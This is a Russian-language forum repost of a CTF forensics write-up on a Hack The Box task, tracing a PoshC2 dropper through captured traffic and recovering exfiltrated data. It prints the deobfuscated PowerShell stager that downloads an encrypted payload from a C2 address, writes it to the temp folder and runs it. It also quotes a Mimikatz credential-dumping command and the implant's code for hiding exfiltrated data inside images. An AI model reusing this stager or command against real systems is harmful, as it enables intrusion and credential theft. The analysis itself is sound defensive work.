• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья InterstellarC2. Разбираем последствия заражения дроппером PoshC2

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Закрепление, постэксплуатация и эксфильтрация — три неотъемлемых этапа каждой атаки. В этой статье мы проведем расследование инцидента: поищем артефакты, сдампим сетевой трафик и деобфусцируем найденный вредоносный код. Таким образом мы восстановим действия злоумышленника и заодно познакомимся с популярными техниками, которые часто применяются «в дикой среде».
Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.

Наше задание звучит следующим образом:
«Мы заметили необычный трафик, исходящий из открытого космоса. Неизвестная группа использует сервер Command and Control. В ходе всестороннего расследования мы установили, что заражено несколько компьютеров ученых из частной лаборатории Pandora. Можешь узнать, как работает сервер, и вернуть украденное?»
То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик. Нас просят проанализировать дамп, провести расследование инцидента и установить, как атакующие загружали утилиты на скомпрометированный сервер, какими способами закреплялись и как производили эксфильтрацию данных. В конечном счете нам нужно будет найти флаг.

ИЩЕМ АРТЕФАКТЫ В СЕТЕВОМ ТРАФИКЕ​

Первым делом загрузим дамп в Wireshark. Несложно установить, что IP скомпрометированного сервера приватный — 192.168.25.140, в то время как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно, что со скомпрометированного хоста происходит обращение к стороннему ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается на vn84.ps1. В ответ сервер отдает сценарий на PowerShell.

GET-запрос со скомпрометированного хоста для загрузки vn84.ps1

Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.

Экспортированные из дампа трафика объекты

ИЗУЧАЕМ АРТЕФАКТЫ​

В глаза сразу бросается экспортированный сценарий PowerShell, однако, чтобы получить полную картину, нужно определить, с артефактами какого формата нам предстоит работать. Поэтому не будем бросаться изучать найденные скрипты, а первым делом посмотрим, что за формат у остальных экспортированных файлов. Для этого воспользуемся утилитой file и командлетом Get-ChildItem. Обойдем все файлы в цикле:
Код:
foreach ($file in (Get-ChildItem $_.Name))
Формат экспортированных файлов

Запишем полученный массив в переменную $fileformat, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.
Код:
foreach ($format in $fileformat) }
Интересного в самих картинках мало (это изображения собак в низком разрешении), однако внимание привлекает файл %3fdVfhJmc2ciKvPOC(23).png, поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки, в нем есть что‑то еще. Возьмем этот факт на заметку и будем двигаться дальше. Поглядим, что в других файлах.

Полученные PNG

Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.

Изучая vn84.ps1, можно увидеть обфусцированные командлеты.
Обфусцированное содержимое vn84.ps1

Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).

Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.

Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Код:
Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))
Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))
Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))
$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'
$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $path
Invoke-WebRequest -Uri $Url -OutFile $PTF
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"
Становится понятнее. Если коротко: PowerShell здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) данные с C2-сервера загружаются на скомпрометированный хост, после чего загруженные данные расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.

Расшифрованные байты записываются в исполняемый файл $env:temp\tmp7102591.exe, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.

Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).

Из значения переменной $Url в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51.

Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.

Итак, все переданные файлы уже экспортированы, алгоритм, ключ и вектор у нас на руках. Получается, дело за малым: нужно лишь расшифровать данные и записать их в файл. Расшифровывать мы будем тем же сценарием vn84.ps1, только перед запуском немного его перепишем:
  1. Удалим строки, в которых используется BitsTransfer.
  2. Исправим путь, по которому будет считываться загружаемый файл (переменная $PTF), на путь, куда мы экспортировали объекты из дампа трафика. То есть укажем полный путь до экспортированного файла 94974f08-5853-41ab-938a-ae1bd86d8e51.
  3. Удалим последнюю строку, в которой исполняется файл (нам это сейчас ни к чему).
  4. Также для удобства поиска расшифрованного файла в системе сменим Out-File на Set-Content, а путь $env:temp\tmp7102591.exe на необходимый нам и зададим кодировку -Encoding Byte.
Итоговый сценарий будет выглядеть так:
Код:
$PTF = "C:\Users\Antony\Desktop\C2Interstellar_HTB\C2_Interstellar_CTF_Task\WShark 2\94974f08-5853-41ab-938a-ae1bd86d8e51"
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Set-Content -Path "C:\Users\Antony\Desktop\C2Interstellar_HTB\C2_Interstellar_CTF_Task\tmp7102591.exe" -Encoding Byte
Теперь выполним наш скрипт и получим исполняемый файл tmp7102591.exe.

С помощью утилиты Detect It Easy мы можем убедиться, что файл не был запакован. Следом откроем его в dnSpy, чтобы подробнее изучить код.

Исследование исполняемого файла на наличие пакера
Исходный код tmp7102591.exe


ОБВЕШИВАЕМСЯ БРЯКАМИ​

Исходное название файла — dropper_cs.exe. Настало время навешать брейк‑пойнты и подать на вход экспортированные файлы, которые не удалось изучить раньше. Это позволит нам узнать, как работает дроппер.

Для взаимодействия с сервером используется функция GetWebRequest(), с ее помощью атакующие как скачивают данные с сервера, так и отправляют туда пользовательскую информацию с хоста жертвы, предварительно обработав ее (как именно — разберемся дальше). Во время скачивания на скомпрометированный хост доставляются дополнительные инструменты, которые будут использованы для развития атаки. Давай подробнее посмотрим, как происходит доставка информации на машину жертвы.

После запуска файла dropper_cs.exe выполняется первый GET-запрос на С2-сервер атакующих (http://64.226.84.200:8080) с роутом /Kettie/Emmie/Anni?Theda=Merrilee?c. Этот файл мы уже экспортировали, поэтому считаем данные из него методом ReadAllText() класса File, а строку запроса к серверу закомментируем. Вообще, можно закомментировать всю функцию GetWebRequest(), так как необходимости в ней больше нет. И установим точку останова на строке 310, чтобы посмотреть, как выглядит расшифрованная информация.

Расшифрованные данные пакета Anni?Theda=Merrilee?c

После успешной дешифровки текст выше чистится регулярками, и мы в итоге получаем:
  • список роутов (по ним в дальнейшем будет запрашиваться вся необходимая информация с сервера, дополнительный инструментарий и прочее);
  • дату (если она меньше текущей, имплант запущен не будет);
  • время сна;
  • джиттер задержки для последующих запросов GET и POST;
  • новый ключ шифрования;
  • implant — набор картинок в PNG, которые мы уже видели, в формате Base64.
Полученные данные видно на рисунке ниже.

Расшифрованные и деобфусцированные данные

Вся полученная информация передается через аргументы функции ImplantCore(), которая отвечает за внедрение кода.

В этой функции атакующие GET-запросами получают дополнительный исполняемый код, расшифровывают его при помощи нового ключа и исполняют на скомпрометированном хосте с определенными параметрами без записи в файл (то есть это бесфайловая атака).

Давай расшифруем файлы, чтобы определить, какие инструменты загрузили злоумышленники. Для этого вместо загрузки с сервера считаем данные из экспортированного файла %3fdVfhJmc2ciKvPOC и расшифруем его, а потом запишем байт‑код в новый файл First_Decr.exe.

Посчитаем хеш получившегося файла и отправим на VirusTotal.

Проверка расшифрованного файла на VirusTotal

Файл — не что иное, как PoshC2, фреймворк для закрепления и постэксплуатации. Отлично!

Аналогичным образом попробуем расшифровать следующий экспортированный файл — %3fdVfhJmc2ciKvPOC(14). После дешифровки получаем SharpSploit.dll — библиотеку для постэксплуатации, которая позволяет дампить креды из lsass.exe. Она запускается со следующими аргументами:
Код:
run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"
Запуск происходит в командной строке cmd в функции stringBuilder.AppendLine(Program.rAsm(cmd)).
SharpSploit.dll

После выполнения кода SharpSploit.dll со скомпрометированного сервера результат направлялся на сервер C2, но прежде закодированные в Base64 данные обрабатываются. Они конвертируются в массив байтов, затем сжимаются при помощи Gzip и шифруются следующей функцией:
Код:
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
{
  byte[] array = null;
  if (unByte != null)
  {
      array = unByte;
  }
  else
  {
      array = Encoding.UTF8.GetBytes(un);
  }
  if (comp)
  {
      array = Program.Compress(array);
  }
  string text;
  try
  {
      SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, null, true);
      byte[] array2 = symmetricAlgorithm.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
      text = Convert.ToBase64String(Program.Combine(symmetricAlgorithm.IV, array2));
  }
  catch
  {
      SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, null, false);
      byte[] array3 = symmetricAlgorithm2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
      text = Convert.ToBase64String(Program.Combine(symmetricAlgorithm2.IV, array3));
  }
  return text;
}
После этого к данным добавляются случайные 1500 байт и полученная на первом этапе картинка.
Код:
internal static byte[] GetImgData(byte[] cmdoutput)
{
  int num = 1500;
  int num2 = cmdoutput.Length + num;
  string text = Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)];
  byte[] array = Convert.FromBase64String(text);
  byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - array.Length));
  byte[] array2 = new byte[num2];
  Array.Copy(array, 0, array2, 0, array.Length);
  Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
  Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
  return array2;
}
Это как раз та картинка, необычный размер которой мы уже подметили в начале расследования.

Настало время изучить подробнее файл %3fdVfhJmc2ciKvPOC(23).png. Посмотрим на его содержимое в Hex-редакторе HxD.

Шестнадцатеричное представление файла %3fdVfhJmc2ciKvPOC(23).png

В заголовке видим PNG, а также что после окончания PNG идут другие данные.

image13.png

Чтобы узнать, что скрыто в данных, напишем свой декриптор.

ПИШЕМ ДЕКРИПТОР​

Зная алгоритм преобразования данных, попробуем декодировать информацию. Для этого возьмем имеющиеся в коде функции:
  • Decrypt() — дешифрует данные AES-CBC-128, немного изменив функцию, добавив в нее декомпрессию методом Gzip и убрав лишнее преобразование из массива байтов в текст;
  • CreateCam() — служит для создания алгоритма с ключом и вектором;
  • Decompress() — для разархивирования данных методом Gzip.
В конце декодируем массив байтов в строку методом Encoding.ASCII.GetString().

В конечном счете преобразуем из Base64 и запишем получившийся байт‑код в файл decrypted_image.png.

Ниже приведена получившаяся программа. Для исполнения рекомендую использовать .NET 8.0 и выше.
Код:
using System;
using System.IO.Compression;
using System.Security.Cryptography;
using System.Text;
namespace Decryptor
{
  public class Program
  {
     static void Main(string[] args)
     {
         var cmd = File.ReadAllBytes("C:\\Users\\Antony\\Desktop\\C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\%3fdVfhJmc2ciKvPOC(23).png");
         string key = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
         var text = Program.Decryption(key, cmd).Replace("\0", string.Empty);
     }
     static byte[] Decompress(byte[] data)
     {
         using (var compressedStream = new MemoryStream(data))
         using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
         using (var resultStream = new MemoryStream())
         {
             zipStream.CopyTo(resultStream);
             return resultStream.ToArray();
         }
     }
     private static string Decryption(string key, byte[] arr)
     {
         byte[] tmp_arr = arr[1500..arr.Length];
         byte[] array2 = new byte[16];
         Array.Copy(tmp_arr, array2, 16);
         string text = "";
         try
         {
             SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, Convert.ToBase64String(array2), true);
             byte[] array3 = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
             byte[] arr4 = Decompress(array3);
             byte[] tet = Convert.FromBase64String(Encoding.ASCII.GetString(arr4));
             File.WriteAllBytes("C:\\Users\\Antony\\Desktop\\C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\DecodedInfo\\decrypted_image4.png", tet);
         }
         catch
         {
             SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, Convert.ToBase64String(array2), false);
             byte[] array4 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
             text = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(array4).Trim(new char[1])));
         }
         finally
         {
             Array.Clear(tmp_arr, 0, tmp_arr.Length);
             Array.Clear(array2, 0, 16);
         }
         return text;
     }
     private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
     {
         SymmetricAlgorithm symmetricAlgorithm;
         if (rij)
         {
             symmetricAlgorithm = new RijndaelManaged();
         }
         else
         {
             symmetricAlgorithm = new AesCryptoServiceProvider();
         }
         symmetricAlgorithm.Mode = CipherMode.CBC;
         symmetricAlgorithm.Padding = PaddingMode.Zeros;
         symmetricAlgorithm.BlockSize = 128;
         symmetricAlgorithm.KeySize = 256;
         if (IV != null)
         {
             symmetricAlgorithm.IV = Convert.FromBase64String(IV);
         }
         else
         {
             symmetricAlgorithm.GenerateIV();
         }
         if (key != null)
         {
             symmetricAlgorithm.Key = Convert.FromBase64String(key);
         }
         return symmetricAlgorithm;
     }
  }
За кропотливую работу нас ждет награда в виде флага, который был ответом на это интересное задание.
Флаг


ВЫВОДЫ​

Итак, мы провели небольшое расследование и выяснили, как злоумышленник доставил на скомпрометированный хост дополнительные утилиты, выполнил вредоносный код и эксфильтровал данные со скомпрометированного узла.

Автор @antony-n0p
Источник xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх